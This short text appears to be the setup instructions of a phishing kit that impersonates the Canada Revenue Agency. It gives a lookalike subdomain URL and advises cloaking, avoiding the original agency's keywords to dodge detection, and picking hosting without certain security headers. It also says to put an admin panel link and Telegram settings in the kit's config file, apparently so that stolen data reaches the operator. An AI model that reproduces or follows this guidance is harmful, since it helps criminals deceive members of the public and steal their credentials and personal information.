Recommendation: for phishing page better use subdomains like https://hg9.canada-vrf.com/en/revenue-agency/services/e-services/ use cloacking do not use domain original keywords Use hosting or server without headers options (HTTP response header): X-Content-Type-Options 'nosniff' ------------------------------------------------ Phishing Page: Set link to admin panel in config/config.js Set tg settings in config/config.js